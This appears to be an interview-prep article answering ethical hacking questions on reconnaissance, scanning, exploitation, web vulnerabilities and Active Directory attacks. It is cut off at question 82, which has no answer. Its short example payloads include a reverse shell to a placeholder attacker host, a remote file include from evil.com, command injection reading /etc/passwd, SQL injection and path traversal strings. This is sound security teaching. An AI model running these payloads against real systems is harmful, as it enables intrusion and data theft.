Top 100 Ethical Hacking Interview Questions and Answers [2026]

1. What is Ethical Hacking?

Answer: Ethical hacking is the authorized practice of bypassing system security to identify potential vulnerabilities that malicious hackers could exploit. Also known as penetration testing or white-hat hacking, it involves using the same techniques and tools as black-hat hackers but with explicit permission from the system owner. The goal is to improve security by finding and fixing weaknesses before real attackers can exploit them. Ethical hackers follow a strict code of conduct, maintain confidentiality, and report all findings to the organization.

2. What are the different types of hackers?

Answer: Hackers are categorized by their intent and authorization:

• White Hat (Ethical Hackers): Authorized security professionals who test systems legally
• Black Hat: Malicious hackers who exploit systems for personal gain or harm
• Grey Hat: Operate between ethical and unethical, may hack without permission but without malicious intent
• Script Kiddies: Inexperienced hackers using pre-made tools without understanding them
• Hacktivists: Hack for political or social causes
• State-Sponsored: Government-backed hackers for cyber espionage or warfare

3. What are the phases of ethical hacking?

Answer: The five phases of ethical hacking are:

• 1. Reconnaissance: Gathering information about the target (passive and active)
• 2. Scanning: Discovering open ports, services, and vulnerabilities
• 3. Gaining Access: Exploiting vulnerabilities to enter the system
• 4. Maintaining Access: Establishing persistent access (backdoors, rootkits)
• 5. Covering Tracks: Removing evidence of intrusion (log clearing)

Ethical hackers also add a reporting phase to document findings and recommendations.

4. What is the difference between vulnerability assessment and penetration testing?

Answer:

• Vulnerability Assessment (VA): Identifies and classifies security weaknesses without exploiting them. Automated scanning with tools like Nessus, produces a list of vulnerabilities with severity ratings. Broader scope, less depth
• Penetration Testing: Actually attempts to exploit vulnerabilities to determine real-world impact. More manual, simulates real attacks, proves exploitability. Deeper analysis but narrower scope
• Key Difference: VA finds weaknesses; pentesting proves they can be exploited and shows business impact

5. What is the CIA Triad?

Answer: The CIA Triad is the foundational model for information security:

• Confidentiality: Ensuring information is accessible only to authorized individuals (encryption, access controls)
• Integrity: Maintaining accuracy and completeness of data, preventing unauthorized modification (hashing, digital signatures)
• Availability: Ensuring authorized users have reliable access when needed (redundancy, backups, DDoS protection)

Ethical hackers test for vulnerabilities that could compromise any of these three principles.

6. What are the types of penetration testing?

Answer: Based on knowledge level:

• Black Box: No prior knowledge of the target. Simulates external attacker perspective. Most realistic but time-consuming
• White Box: Full knowledge provided (source code, network diagrams, credentials). Most thorough but may not reflect real attacks
• Grey Box: Partial knowledge (e.g., user credentials). Balances realism and efficiency

Based on target: Network pentesting, Web application pentesting, Wireless pentesting, Social engineering, Physical pentesting, Red Team (comprehensive).

7. What legal documents are required before ethical hacking?

Answer: Essential legal documents include:

• Rules of Engagement (ROE): Defines scope, methodology, timing, and boundaries
• Statement of Work (SOW): Detailed project description, deliverables, timeline
• Non-Disclosure Agreement (NDA): Protects confidential information discovered
• Authorization Letter: Written permission from system owner to conduct testing
• Liability Waiver: Limits liability for potential system disruption

Never conduct testing without proper written authorization – it's illegal.

8. What is the difference between a threat, vulnerability, and exploit?

Answer:

• Threat: A potential danger that could exploit a vulnerability (hackers, malware, insider threats, natural disasters)
• Vulnerability: A weakness in a system that could be exploited (unpatched software, misconfigurations, weak passwords)
• Exploit: Code or technique that takes advantage of a vulnerability to cause harm or gain access
• Risk: The probability of a threat exploiting a vulnerability and the resulting impact

9. What is a zero-day vulnerability?

Answer: A zero-day vulnerability is a software security flaw unknown to the vendor and for which no patch exists. The term "zero-day" refers to the fact that developers have had zero days to fix it. These vulnerabilities are extremely valuable because: defenses don't exist, antivirus can't detect exploits, and attackers have the advantage. Zero-day exploits are sold on black markets or reported through bug bounty programs. Ethical hackers who discover zero-days should practice responsible disclosure.

10. What is social engineering?

Answer: Social engineering is the psychological manipulation of people to divulge confidential information or perform actions that compromise security. It exploits human nature rather than technical vulnerabilities. Common techniques include:

• Phishing: Fraudulent emails/websites to steal credentials
• Pretexting: Creating a fabricated scenario to extract information
• Baiting: Offering something enticing (infected USB drives)
• Tailgating: Following authorized personnel into restricted areas
• Quid Pro Quo: Offering service in exchange for information

11. What is the OWASP Top 10?

Answer: OWASP Top 10 is a standard awareness document listing the most critical web application security risks. The 2021 version includes:

• A01: Broken Access Control
• A02: Cryptographic Failures
• A03: Injection
• A04: Insecure Design
• A05: Security Misconfiguration
• A06: Vulnerable and Outdated Components
• A07: Identification and Authentication Failures
• A08: Software and Data Integrity Failures
• A09: Security Logging and Monitoring Failures
• A10: Server-Side Request Forgery (SSRF)

12. What is a firewall and what types exist?

Answer: A firewall is a security device that monitors and filters incoming/outgoing network traffic based on predefined rules. Types include:

• Packet Filtering: Examines packets based on source/destination IP, port, protocol
• Stateful Inspection: Tracks connection state, more context-aware
• Application Layer (WAF): Inspects application-level traffic (HTTP)
• Next-Generation (NGFW): Combines traditional firewall with IPS, application awareness, threat intelligence
• Proxy Firewall: Acts as intermediary, inspects traffic at application layer

13. What is the difference between IDS and IPS?

Answer:

• IDS (Intrusion Detection System): Monitors network traffic for suspicious activity, generates alerts but doesn't block traffic. Passive – detects and reports
• IPS (Intrusion Prevention System): Monitors and actively blocks detected threats. Inline – sits in the traffic path and can drop malicious packets
• Detection Methods: Signature-based (known attacks), Anomaly-based (behavioral deviation), Heuristic (rule-based patterns)
• IPS can cause false positives blocking legitimate traffic; IDS may miss attacks without blocking capability

14. What is the role of an ethical hacker in an organization?

Answer: An ethical hacker's responsibilities include:

• Conducting authorized penetration tests on networks, applications, systems
• Identifying and documenting security vulnerabilities
• Assessing risk and potential impact of vulnerabilities
• Providing remediation recommendations
• Testing security controls and incident response
• Red team exercises simulating real attackers
• Security awareness training and phishing simulations
• Staying updated on latest threats and attack techniques

15. What is the difference between encryption and hashing?

Answer:

• Encryption: Reversible process that transforms data using a key. Can be decrypted with the correct key. Used for confidentiality (AES, RSA). Two-way function
• Hashing: One-way function producing fixed-size output (hash/digest). Cannot be reversed. Used for integrity verification and password storage (SHA-256, bcrypt). Same input always produces same hash
• Use Cases: Encryption protects data in transit/rest; hashing verifies data integrity and stores passwords securely

16. What is footprinting and what are its types?

Answer: Footprinting is the process of collecting information about a target system or organization. Types include:

• Passive Footprinting: Gathering information without directly interacting with the target. Uses public sources (OSINT), search engines, social media, WHOIS, DNS records. Undetectable
• Active Footprinting: Direct interaction with the target system. Includes ping sweeps, port scans, social engineering calls. Can be detected by security systems

Information gathered: IP ranges, domain names, employee names, technologies used, network topology, email addresses, organizational structure.

17. What is OSINT and what tools are used?

Answer: OSINT (Open Source Intelligence) is intelligence collected from publicly available sources. Common OSINT tools include:

• Shodan: Search engine for internet-connected devices
• Maltego: Visual link analysis and data mining
• theHarvester: Gathers emails, subdomains, IPs from public sources
• Recon-ng: Full-featured reconnaissance framework
• Google Dorking: Advanced search operators to find sensitive information
• SpiderFoot: Automated OSINT collection
• LinkedIn, Twitter, GitHub: Social media intelligence

18. What are Google Dorks and provide examples?

Answer: Google Dorks (Google Hacking) use advanced search operators to find sensitive information indexed by Google. Examples:

• site:example.com filetype:pdf – Find PDFs on a domain
• intitle:"index of" password – Find exposed directories
• inurl:admin login – Find admin login pages
• site:example.com ext:sql | ext:db | ext:log – Find database files
• "confidential" filetype:xls site:gov – Find confidential spreadsheets

Google Hacking Database (GHDB) maintains a collection of useful dorks.

19. What information can you gather from WHOIS?

Answer: WHOIS is a protocol for querying domain registration information. It can reveal:

• Domain registrant name, organization, and contact information
• Domain registration and expiration dates
• Registrar information
• Name servers (DNS servers)
• Administrative and technical contacts
• Domain status (active, pending, locked)

Tools: whois command-line, whois.domaintools.com, ICANN WHOIS. Note: Many domains now use privacy protection.

20. What DNS records are useful for reconnaissance?

Answer: Key DNS record types for reconnaissance:

• A Record: Maps domain to IPv4 address
• AAAA Record: Maps domain to IPv6 address
• MX Record: Mail servers for the domain
• NS Record: Authoritative name servers
• TXT Record: May contain SPF, DKIM, verification tokens
• CNAME Record: Canonical name aliases
• SOA Record: Start of Authority, zone information

Tools: nslookup, dig, host, dnsenum, dnsrecon

21. What is DNS zone transfer and why is it a vulnerability?

Answer: DNS zone transfer (AXFR) is the process of replicating DNS databases from primary to secondary DNS servers. It becomes a vulnerability when:

• Zone transfers are allowed to any IP (misconfiguration)
• Attackers can obtain complete DNS zone data including all subdomains
• Reveals internal hostnames, IP addresses, and network structure

Testing: dig axfr @ns1.target.com target.com or host -t axfr target.com ns1.target.com. Mitigation: Restrict zone transfers to specific IPs.

22. What is subdomain enumeration and what tools are used?

Answer: Subdomain enumeration discovers subdomains of a target domain, expanding the attack surface. Methods and tools include:

• Passive: Certificate Transparency logs (crt.sh), search engines, OSINT sources
• Active: DNS brute-forcing with wordlists
• Tools: Sublist3r, Subfinder, Amass, Assetfinder, Knockpy
• Online: VirusTotal, SecurityTrails, Censys

Subdomains often host development, staging, or legacy applications with weaker security.

23. How do you gather email addresses during reconnaissance?

Answer: Email harvesting techniques and tools:

• theHarvester: Searches Google, Bing, LinkedIn, Hunter.io
• Hunter.io: Domain email finder with verification
• LinkedIn: Employee profiles reveal email patterns
• Google Dorks: site:target.com "@target.com"
• PGP Key Servers: Email addresses in public keys
• Data Breaches: Have I Been Pwned, breach databases

Collected emails are used for phishing, password spraying, and social engineering.

24. What is Shodan and how is it used in reconnaissance?

Answer: Shodan is a search engine for internet-connected devices. Unlike Google, it indexes device banners, services, and configurations. Uses include:

• Finding exposed services (databases, webcams, industrial systems)
• Identifying vulnerable software versions
• Discovering misconfigured devices
• Mapping an organization's internet-facing infrastructure

Search examples: org:"Target Company", hostname:target.com, port:22 country:IN. Similar tools: Censys, ZoomEye.

25. What is traceroute and how does it help in reconnaissance?

Answer: Traceroute displays the path packets take to reach a destination, showing each hop (router) along the way. It helps in reconnaissance by:

• Mapping network topology and routing paths
• Identifying network devices and their IP addresses
• Understanding network segmentation
• Detecting security devices (firewalls may block or modify responses)

Commands: traceroute (Linux), tracert (Windows). Variants: TCP traceroute bypasses ICMP blocking.

26. What information can you gather from website technologies?

Answer: Technology fingerprinting reveals:

• Web server (Apache, Nginx, IIS) and versions
• Programming languages (PHP, Python, ASP.NET)
• CMS platforms (WordPress, Drupal, Joomla)
• JavaScript frameworks (React, Angular, Vue)
• CDN and WAF providers (Cloudflare, Akamai)
• Analytics and tracking tools

Tools: Wappalyzer (browser extension), WhatWeb, BuiltWith, Netcraft. Each technology has known vulnerabilities.

27. How do you find hidden directories and files on a website?

Answer: Directory and file discovery techniques:

• Brute-forcing: Using wordlists to guess paths (Dirb, Dirbuster, Gobuster, Feroxbuster)
• robots.txt: May reveal hidden directories
• sitemap.xml: Lists indexed pages
• Web Archive: Wayback Machine shows historical content
• Source Code: Comments may reveal paths
• Common paths: /admin, /backup, /config, /.git

Wordlists: SecLists, dirb, dirbuster-medium-2.3-small.txt

28. What is banner grabbing?

Answer: Banner grabbing is a technique to gather information about a target's services by reading the banner (response) they send when connecting. It reveals:

• Service name and version (SSH, HTTP, FTP, SMTP)
• Operating system information
• Software configurations

Methods: Telnet (telnet target 80), Netcat (nc -v target 22), Nmap (nmap -sV target). Version information helps identify known vulnerabilities.

29. How do you gather information from social media?

Answer: Social media reconnaissance (SOCMINT) gathers:

• LinkedIn: Employee names, job titles, technologies used, organizational structure
• Twitter: Company announcements, employee opinions, technology discussions
• GitHub: Source code, credentials in commits, technology stack
• Facebook/Instagram: Location information, personal details for social engineering

Tools: Maltego, Social Analyzer, Twint, linkedin2username. This information supports social engineering and targeted attacks.

30. What is the importance of reconnaissance in ethical hacking?

Answer: Reconnaissance is crucial because:

• Defines the attack surface and potential entry points
• Helps prioritize targets based on vulnerability likelihood
• Reveals organizational structure for social engineering
• Identifies technologies for targeted exploitation
• Reduces testing time by focusing on promising vectors
• Professional pentest reports require thorough reconnaissance documentation

"Give me six hours to chop down a tree and I will spend the first four sharpening the axe" – applies perfectly to pentesting.

31. What is Nmap and what are common scan types?

Answer: Nmap (Network Mapper) is the most popular port scanning tool. Common scan types:

• -sT (TCP Connect): Full TCP handshake, detectable, no root required
• -sS (SYN Scan): Half-open scan, stealthier, requires root
• -sU (UDP Scan): Scans UDP ports, slower
• -sV (Version Detection): Identifies service versions
• -sA (ACK Scan): Firewall rule detection
• -sN/-sF/-sX: Null, FIN, Xmas scans for firewall evasion
• -O: OS detection
• -A: Aggressive scan (OS, version, scripts, traceroute)

32. Explain the TCP three-way handshake.

Answer: The TCP three-way handshake establishes a connection:

• Step 1 (SYN): Client sends SYN packet with initial sequence number to server
• Step 2 (SYN-ACK): Server responds with SYN-ACK, acknowledging client's SYN and sending its own sequence number
• Step 3 (ACK): Client sends ACK acknowledging server's SYN, connection established

SYN scan (half-open) sends SYN, receives SYN-ACK (port open) or RST (closed), then sends RST to abort without completing handshake – less detectable.

33. What are the common port numbers and services?

Answer: Important ports to know:

• 21: FTP | 22: SSH | 23: Telnet
• 25: SMTP | 53: DNS | 80: HTTP
• 110: POP3 | 139/445: SMB | 143: IMAP
• 443: HTTPS | 3306: MySQL | 3389: RDP
• 5432: PostgreSQL | 27017: MongoDB
• 6379: Redis | 8080: HTTP Proxy

Well-known: 0-1023, Registered: 1024-49151, Dynamic: 49152-65535

34. What is OS fingerprinting?

Answer: OS fingerprinting identifies the operating system of a target by analyzing unique characteristics of its network stack. Types:

• Active: Sends crafted packets, analyzes responses (Nmap -O). More accurate but detectable
• Passive: Analyzes existing traffic without sending packets (p0f). Stealthy but requires traffic capture

Characteristics analyzed: TTL values, TCP window size, DF flag, TCP options order. Knowing the OS helps select appropriate exploits.

35. What is enumeration and what services are commonly enumerated?

Answer: Enumeration extracts detailed information from discovered services. Common enumeration targets:

• SMB (139/445): Shares, users, groups (enum4linux, smbclient)
• LDAP (389/636): AD users, groups, computers (ldapsearch)
• SNMP (161): Network devices, configurations (snmpwalk)
• DNS (53): Zone transfers, subdomains
• NFS (2049): Exported shares
• SMTP (25): User enumeration via VRFY/EXPN

36. What are Nmap scripts (NSE)?

Answer: Nmap Scripting Engine (NSE) extends Nmap with Lua scripts for:

• Vulnerability detection
• Service enumeration
• Exploitation
• Brute forcing

Usage: nmap --script=vuln target, nmap --script=smb-enum-shares target. Categories: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. Located in /usr/share/nmap/scripts/

37. What is the difference between active and passive scanning?

Answer:

• Active Scanning: Sends packets to target (port scans, probes). Generates network traffic, can be detected by IDS/IPS. Provides detailed, current information
• Passive Scanning: Monitors network traffic without sending packets. Sniffs existing communications (Wireshark, tcpdump). Undetectable but limited to observable traffic

Best practice: Start passive, then targeted active scanning to minimize detection.

38. How do you perform a ping sweep?

Answer: Ping sweep identifies live hosts on a network by sending ICMP echo requests:

• Nmap: nmap -sn 192.168.1.0/24
• fping: fping -g 192.168.1.0/24
• Linux: for i in `seq 1 254`; do ping -c 1 192.168.1.$i; done

Note: Many hosts block ICMP. Alternative: TCP ping (nmap -sn -PS22,80 target) or ARP scan on local network (arp-scan -l).

39. What is vulnerability scanning and what tools are used?

Answer: Vulnerability scanning automatically identifies security weaknesses in systems. Popular tools:

• Nessus: Industry-standard commercial scanner
• OpenVAS: Free, open-source alternative
• Qualys: Cloud-based vulnerability management
• Nexpose: Rapid7's vulnerability scanner
• Nikto: Web server scanner

Scanners check against vulnerability databases (CVE, NVD) and provide severity ratings (CVSS).

40. What is SNMP enumeration?

Answer: SNMP (Simple Network Management Protocol) enumeration extracts information from network devices:

• Device configurations and interfaces
• Routing tables and ARP cache
• User accounts and running processes
• Installed software

Default community strings: "public" (read-only), "private" (read-write). Tools: snmpwalk, onesixtyone, snmp-check. SNMPv1/v2c transmit in cleartext; SNMPv3 adds encryption and authentication.

41. What is SMB enumeration?

Answer: SMB (Server Message Block) enumeration extracts information from Windows file sharing:

• Information gathered: Shares, users, groups, password policies, OS version
• Tools: enum4linux, smbclient, smbmap, CrackMapExec, rpcclient
• Null session: Anonymous connection exploiting misconfiguration

Example: enum4linux -a target, smbclient -L //target -N. SMB vulnerabilities: EternalBlue (MS17-010), SMBGhost.

42. How do you evade firewall detection during scanning?

Answer: Firewall evasion techniques in Nmap:

• Fragmentation: -f splits packets into smaller fragments
• Decoys: -D RND:10 generates fake source IPs
• Timing: -T0 to -T1 slower, stealthier scans
• Source port: --source-port 53 mimics DNS traffic
• Idle scan: -sI zombie uses zombie host
• Different scan types: FIN, NULL, Xmas scans may bypass stateless firewalls

43. What is a vulnerability database?

Answer: Vulnerability databases catalog known security vulnerabilities. Key databases:

• CVE (Common Vulnerabilities and Exposures): Standard identifiers for vulnerabilities
• NVD (National Vulnerability Database): NIST database with CVSS scores
• Exploit-DB: Archive of public exploits
• VulDB: Vulnerability documentation
• CVSS: Common Vulnerability Scoring System (0-10 severity)

Pentester workflow: Find version → Search CVE → Find exploit → Test.

44. What is network mapping?

Answer: Network mapping creates a visual representation of the target network, including:

• Live hosts and their IP addresses
• Network topology and subnets
• Routers, firewalls, and security devices
• Open ports and running services
• Relationships between systems

Tools: Nmap + Zenmap (visualization), Maltego, draw.io for diagrams. Network maps help plan attack paths.

45. What is service fingerprinting?

Answer: Service fingerprinting identifies the specific application and version running on open ports. It works by:

• Analyzing service banners
• Sending probe packets and analyzing responses
• Matching patterns against signature databases

Nmap: -sV for version detection, --version-intensity 5 for thorough detection. Knowing exact versions allows targeted exploit selection.

46. What is Metasploit Framework?

Answer: Metasploit is the most popular penetration testing framework. Components include:

• msfconsole: Main command-line interface
• Exploits: Code that takes advantage of vulnerabilities
• Payloads: Code that runs after exploitation (Meterpreter, reverse shell)
• Auxiliary: Scanners, fuzzers, admin tools
• Encoders: Obfuscate payloads to evade detection
• Post: Post-exploitation modules

Basic flow: search exploit_name → use module → set options → exploit

47. What is a payload and what types exist?

Answer: A payload is code that executes after an exploit succeeds. Types:

• Singles: Self-contained, don't require additional components
• Stagers: Small payload that downloads larger stage
• Stages: Larger payload downloaded by stager (Meterpreter)
• Reverse Shell: Target connects back to attacker
• Bind Shell: Target opens port for attacker to connect
• Meterpreter: Advanced, in-memory payload with extensive features

48. What is Meterpreter and its capabilities?

Answer: Meterpreter is Metasploit's advanced, stealthy payload that runs in memory:

• getuid/sysinfo: System information
• upload/download: File transfer
• shell: Drop to system shell
• hashdump: Dump password hashes
• migrate: Move to another process
• getsystem: Privilege escalation
• keyscan_start: Keylogger
• screenshot: Capture screen
• persistence: Maintain access

49. What is a reverse shell vs bind shell?

Answer:

• Reverse Shell: Target initiates connection back to attacker's machine. Bypasses firewalls that block incoming connections. Attacker sets up listener (nc -lvnp 4444). Most commonly used
• Bind Shell: Target opens a port and waits for attacker to connect. Requires target's port to be accessible (may be blocked by firewall). Less common due to firewall restrictions

Example reverse shell: bash -i >& /dev/tcp/attacker_ip/4444 0>&1

50. What is privilege escalation?

Answer: Privilege escalation gains higher access than initially obtained. Types:

• Vertical: Lower privilege to higher (user to admin/root)
• Horizontal: Same level but different user access

Linux techniques: SUID binaries, sudo misconfigurations, kernel exploits, cron jobs, writable /etc/passwd. Windows: Unquoted service paths, DLL hijacking, token impersonation, AlwaysInstallElevated. Tools: LinPEAS, WinPEAS, PowerUp.

51. What is password cracking and what tools are used?

Answer: Password cracking recovers plaintext passwords from hashes. Methods:

• Dictionary Attack: Uses wordlist (rockyou.txt)
• Brute Force: Tries all combinations
• Rainbow Tables: Precomputed hash-to-password mappings
• Rule-based: Applies rules to wordlist (capitalize, add numbers)

Tools: John the Ripper, Hashcat (GPU-accelerated), Hydra (online services), CrackStation (online lookup).

52. What is pass-the-hash attack?

Answer: Pass-the-Hash (PtH) authenticates using the NTLM hash without knowing the actual password. It works because Windows stores password hashes that are used directly in authentication. Steps:

• Obtain NTLM hashes (mimikatz, secretsdump.py)
• Use hash to authenticate to other systems
• No need to crack the password

Tools: mimikatz (sekurlsa::pth), CrackMapExec, Impacket. Mitigation: Credential Guard, network segmentation, least privilege.

53. What is buffer overflow?

Answer: Buffer overflow occurs when data exceeds the memory buffer size, overwriting adjacent memory. This can:

• Crash the application (DoS)
• Overwrite return address to execute arbitrary code
• Bypass security controls

Types: Stack-based, Heap-based, Integer overflow. Mitigations: ASLR (Address Space Layout Randomization), DEP/NX (Data Execution Prevention), Stack canaries, Secure coding practices.

54. What is Man-in-the-Middle (MITM) attack?

Answer: MITM attack intercepts communication between two parties without their knowledge. The attacker can:

• Eavesdrop on communications
• Modify data in transit
• Steal credentials and session tokens

Techniques: ARP spoofing, DNS spoofing, SSL stripping, Evil Twin AP. Tools: Ettercap, Bettercap, mitmproxy, arpspoof. Prevention: HTTPS, HSTS, certificate pinning.

55. What is ARP spoofing?

Answer: ARP spoofing sends fake ARP messages to associate attacker's MAC address with victim's IP address, redirecting traffic. Process:

• Attacker sends gratuitous ARP replies
• Victim's ARP cache is poisoned
• Traffic intended for victim goes to attacker
• Attacker forwards to real destination (MITM)

Tools: arpspoof, Ettercap, Bettercap. Prevention: Static ARP entries, Dynamic ARP Inspection (DAI), VLAN segmentation.

56. What is a DoS/DDoS attack?

Answer:

• DoS (Denial of Service): Overwhelms a system from single source, making it unavailable to legitimate users
• DDoS (Distributed DoS): Attack from multiple sources (botnet), harder to mitigate

Types: Volumetric (UDP flood, amplification), Protocol (SYN flood, Ping of Death), Application layer (HTTP flood, Slowloris). Mitigation: Rate limiting, CDN, DDoS protection services.

57. What is session hijacking?

Answer: Session hijacking steals or manipulates a user's session to gain unauthorized access. Methods:

• Session Sniffing: Capture session tokens in transit
• Session Fixation: Force user to use attacker-known session ID
• Cross-Site Scripting: Steal cookies via JavaScript
• Man-in-the-Browser: Malware modifies transactions

Prevention: HTTPS, HttpOnly cookies, session regeneration, short timeouts.

58. What is pivoting in penetration testing?

Answer: Pivoting uses a compromised system to attack other systems not directly accessible from the attacker's network. It's essential for reaching internal networks. Techniques:

• Port Forwarding: Forward local port to remote service
• SSH Tunneling: Create encrypted tunnel through compromised host
• SOCKS Proxy: Route traffic through compromised system
• Metasploit: autoroute, portfwd modules

Tools: Chisel, SSH, Metasploit, sshuttle, ProxyChains.

59. What is credential dumping?

Answer: Credential dumping extracts authentication credentials from a compromised system. Windows targets:

• SAM Database: Local account hashes
• LSASS Process: Cached credentials in memory
• NTDS.dit: Active Directory database
• Registry: Cached domain credentials

Tools: Mimikatz, secretsdump.py (Impacket), LaZagne, hashdump (Meterpreter). Linux: /etc/shadow, .ssh keys.

60. What is lateral movement?

Answer: Lateral movement is the technique of moving through a network after initial compromise to access other systems. Common methods:

• Pass-the-Hash: Authenticate with NTLM hash
• Pass-the-Ticket: Use Kerberos tickets
• Remote Services: SMB, WinRM, RDP, SSH
• PsExec: Remote command execution
• WMI: Windows Management Instrumentation

Tools: CrackMapExec, Impacket, BloodHound (for AD path finding), Cobalt Strike.

61. What is SQL Injection and how does it work?

Answer: SQL Injection inserts malicious SQL code into application queries through user input. It works when user input is concatenated directly into SQL queries without proper sanitization. Types:

• In-band: Results returned in response (Union-based, Error-based)
• Blind: No direct output (Boolean-based, Time-based)
• Out-of-band: Data exfiltrated via different channel (DNS, HTTP)

Example: ' OR '1'='1' -- bypasses authentication. Prevention: Prepared statements, input validation, WAF.

62. What is Cross-Site Scripting (XSS)?

Answer: XSS injects malicious scripts into web pages viewed by other users. Types:

• Reflected: Payload in request, reflected in response (search results, error messages)
• Stored: Payload permanently stored on server (comments, profiles)
• DOM-based: Payload executed in browser's DOM without server involvement

Impact: Cookie theft, session hijacking, keylogging, phishing. Prevention: Output encoding, CSP, HttpOnly cookies.

63. What is Cross-Site Request Forgery (CSRF)?

Answer: CSRF tricks authenticated users into performing unwanted actions on a web application. It works by exploiting the browser's automatic inclusion of cookies in requests. Example:

• User is logged into banking site
• User visits attacker's page with hidden form
• Form auto-submits transfer request to bank
• Bank processes request using user's session

Prevention: CSRF tokens, SameSite cookies, checking Referer header.

64. What is Burp Suite and how is it used?

Answer: Burp Suite is the industry-standard web application security testing tool. Key features:

• Proxy: Intercept and modify HTTP/HTTPS traffic
• Scanner: Automated vulnerability scanning (Pro version)
• Intruder: Automated attacks (brute force, fuzzing)
• Repeater: Manually modify and resend requests
• Decoder: Encode/decode data
• Comparer: Compare responses

Workflow: Configure browser proxy → Intercept traffic → Analyze and test → Report findings.

65. What is Local File Inclusion (LFI) and Remote File Inclusion (RFI)?

Answer: File inclusion vulnerabilities allow attackers to include files in server-side code:

• LFI: Include local server files (../../etc/passwd). Can lead to sensitive file disclosure, log poisoning to RCE
• RFI: Include remote files (http://evil.com/shell.php). Leads directly to RCE if enabled

Common in: ?page=home.php, ?file=report. Prevention: Whitelist allowed files, disable remote includes.

66. What is Server-Side Request Forgery (SSRF)?

Answer: SSRF tricks the server into making requests to unintended locations. The attacker can:

• Access internal services (localhost, internal IPs)
• Bypass firewalls (server-side requests trusted)
• Scan internal network
• Access cloud metadata (AWS: 169.254.169.254)

Common in: URL fetchers, webhooks, PDF generators. Prevention: Whitelist allowed domains, block internal IPs.

67. What is command injection?

Answer: Command injection executes arbitrary OS commands on the server by injecting commands into application input. Example:

• Application: ping user_input
• Attack: 8.8.8.8; cat /etc/passwd
• Separators: ;, |, ||, &&, `command`, $(command)

Prevention: Avoid system calls with user input, input validation, use language-specific functions instead of shell commands.

68. What is XXE (XML External Entity) injection?

Answer: XXE exploits XML parsers that process external entity references. Attacks include:

• File Disclosure: Read server files using file:// protocol
• SSRF: Make requests to internal systems
• DoS: Billion laughs attack (entity expansion)
• Port Scanning: Detect internal services

Prevention: Disable external entities, use less complex data formats (JSON), update XML libraries.

69. What is insecure deserialization?

Answer: Insecure deserialization occurs when applications deserialize untrusted data without validation. Attackers can craft malicious serialized objects that execute code or manipulate application logic when deserialized. Impact:

• Remote Code Execution
• Authentication bypass
• Privilege escalation
• Denial of Service

Common in: Java, PHP, Python, .NET. Prevention: Avoid deserializing untrusted data, integrity checks, use safe alternatives.

70. What is Broken Access Control?

Answer: Broken Access Control (#1 in OWASP Top 10) allows users to access resources or functions they shouldn't. Types:

• IDOR: Insecure Direct Object Reference – accessing objects by ID manipulation
• Missing Function-Level Access Control: Admin functions accessible to users
• Privilege Escalation: User becomes admin
• Path Traversal: Accessing files outside intended directory

Prevention: Deny by default, enforce ownership, server-side access control.

71. What is SQLMap and how is it used?

Answer: SQLMap is an automated SQL injection and database takeover tool. Key features:

• Automatic detection of injection type
• Database fingerprinting
• Data extraction (tables, columns, data)
• Database user enumeration
• Password hash dumping
• OS command execution via SQL

Usage: sqlmap -u "http://target.com/page?id=1" --dbs. Important flags: --dump, --tables, --os-shell.

72. What is a web shell?

Answer: A web shell is a script uploaded to a web server that provides remote access and command execution. Characteristics:

• Written in server-side languages (PHP, ASP, JSP)
• Accessed via web browser
• Features: command execution, file manager, database access
• Examples: c99, r57, weevely, p0wny-shell

Upload methods: File upload vulnerability, RCE, LFI+log poisoning. Detection: File integrity monitoring, web server logs, anomaly detection.

73. What is directory traversal attack?

Answer: Directory traversal (path traversal) accesses files outside the intended directory using ../ sequences. Example:

• Normal: /images?file=photo.jpg
• Attack: /images?file=../../../etc/passwd

Bypasses: URL encoding (%2e%2e%2f), double encoding, null byte injection (%00). Prevention: Chroot jail, input validation, canonicalization.

74. What is clickjacking?

Answer: Clickjacking tricks users into clicking hidden elements by overlaying transparent frames. The user thinks they're clicking something visible, but actually click a hidden button/link. Attack:

• Attacker embeds target site in invisible iframe
• Positions own content over target's buttons
• User's clicks are captured by hidden target

Prevention: X-Frame-Options header (DENY, SAMEORIGIN), CSP frame-ancestors directive, frame-busting scripts.

75. What is a WAF and how can it be bypassed?

Answer: Web Application Firewall (WAF) filters HTTP traffic to protect web applications. Bypass techniques:

• Case variation: SeLeCt instead of SELECT
• Encoding: URL, Unicode, hex encoding
• Comments: SEL/**/ECT in SQL
• HTTP parameter pollution: Duplicate parameters
• Alternative syntax: Different but equivalent expressions

Tools: wafw00f (WAF detection), SQLMap tamper scripts.

76. What is Wireshark and how is it used?

Answer: Wireshark is the world's most popular network protocol analyzer. Uses in ethical hacking:

• Capture and analyze network traffic
• Identify cleartext credentials
• Troubleshoot network issues
• Analyze malware communications
• Verify encryption implementation

Key features: Display filters (http.request.method == "POST"), follow TCP stream, protocol statistics. Similar tools: tcpdump, tshark.

77. What is DNS spoofing?

Answer: DNS spoofing (DNS cache poisoning) corrupts DNS resolver caches to redirect traffic to malicious servers. Methods:

• Local: Modify hosts file, DHCP-based attacks
• Network: ARP spoofing + fake DNS responses
• Remote: Kaminsky attack (race condition)

Tools: Ettercap, DNSchef, dsniff. Prevention: DNSSEC, DNS over HTTPS (DoH), DNS over TLS (DoT).

78. What is VLAN hopping?

Answer: VLAN hopping attacks bypass VLAN segregation to access traffic in other VLANs. Techniques:

• Switch Spoofing: Attacker acts as switch, negotiates trunk link using DTP
• Double Tagging: Adds two 802.1Q tags, outer tag stripped by first switch, inner tag forwards to target VLAN

Prevention: Disable DTP, use dedicated native VLAN, explicit trunk configuration.

79. What is MAC flooding?

Answer: MAC flooding overwhelms switch's CAM table with random MAC addresses. When the table is full, the switch operates like a hub, broadcasting all traffic to all ports. This allows eavesdropping.

• Tools: macof (dsniff suite)
• Prevention: Port security, 802.1X, limiting MAC addresses per port

80. What is SSL stripping?

Answer: SSL stripping downgrades HTTPS connections to HTTP, allowing MITM attacks. Process:

• Attacker performs MITM (ARP spoofing)
• Intercepts HTTPS redirect from server
• Maintains HTTPS with server, HTTP with victim
• Victim sees HTTP (no lock icon)

Tools: sslstrip, Bettercap. Prevention: HSTS (HTTP Strict Transport Security), HSTS preloading, user awareness.

81. What are common Active Directory attacks?

Answer: Active Directory attacks for lateral movement and domain dominance:

• Kerberoasting: Request service tickets, crack offline
• AS-REP Roasting: Attack accounts without pre-authentication
• Pass-the-Hash/Ticket: Reuse authentication credentials
• Golden Ticket: Forge Kerberos TGT with KRBTGT hash
• DCSync: Impersonate DC to replicate credentials

Tools: Mimikatz, Rubeus, BloodHound, Impacket.

82. What is Responder and how is it used?

